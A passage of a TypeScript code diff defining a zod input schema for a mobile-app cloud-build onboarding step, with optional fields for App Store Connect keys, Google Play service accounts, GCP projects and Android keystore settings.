Google Play service-account JSON file, when the previous step asked for it'), + runBuild: z.boolean().optional().describe('Set true (with platform) to trigger the first cloud build; set false to skip it and finish onboarding'), + keyId: z.string().optional().describe('App Store Connect Key ID (iOS), when asked'), + issuerId: z.string().optional().describe('App Store Connect Issuer ID (iOS), when asked'), + p8Path: z.string().optional().describe('Path to your App Store Connect .p8 key file (iOS), when asked'), + serviceAccountMethod: z.enum(['generate', 'existing']).optional().describe('Android service-account setup method: "generate" (via Google sign-in) or "existing" (your own JSON), when the step asks you to choose'), + playDeveloperId: z.string().optional().describe('Your Google Play Console developer ID or Play Console URL (Android OAuth), when asked'), + gcpProjectId: z.string().optional().describe('Google Cloud project id to host the service account, or "__new__" to create one, when choosing'), + gcpProjectName: z.string().optional().describe('Display name for a new Google Cloud project, when creating one'), + androidPackage: z.string().optional().describe('The Android applicationId / package name to grant release access to, when asked'), + saMethodChoice: z.enum(['retry', 'save-anyway', 'oauth']).optional().describe('Recovery choice at service-account validation failure'), + checkBuild: z.boolean().optional().describe('Set true after running the build command, to read the build output record and confirm the result'), + keystoreMethod: z.enum(['existing', 'generate']).optional().describe('Whether you already have an Android keystore ("existing") or want one created ("generate")'), + keystorePath: z.string().optional().describe('Absolute path to your existing Android keystore file (.jks/.keystore/.p12), when asked'), + keystoreStorePassword: z.string().optional().describe('The keystore store password, when asked'), + keystoreAlias: z.string().optional().describe('The key alias inside the keystore, when asked or when multiple are found'), + keystoreKeyPassword: z.string().optional().describe('The key password (leave blank to match the store password), when asked'), + keystoreNewAlias: z.string().optional().describe('Alias for a newly generated keystore (default "release"), when generating'), + keystorePasswordMethod: z.enum(['random', 'manual']).optional().describe('For a new keystore: generate a random password or set your own'), + keystoreCommonName: z.string().optional().describe('Certificate Common Name for a new keystore (defaults to the app id)'), +}) + +export type OnboardingNextStepInput = z.infer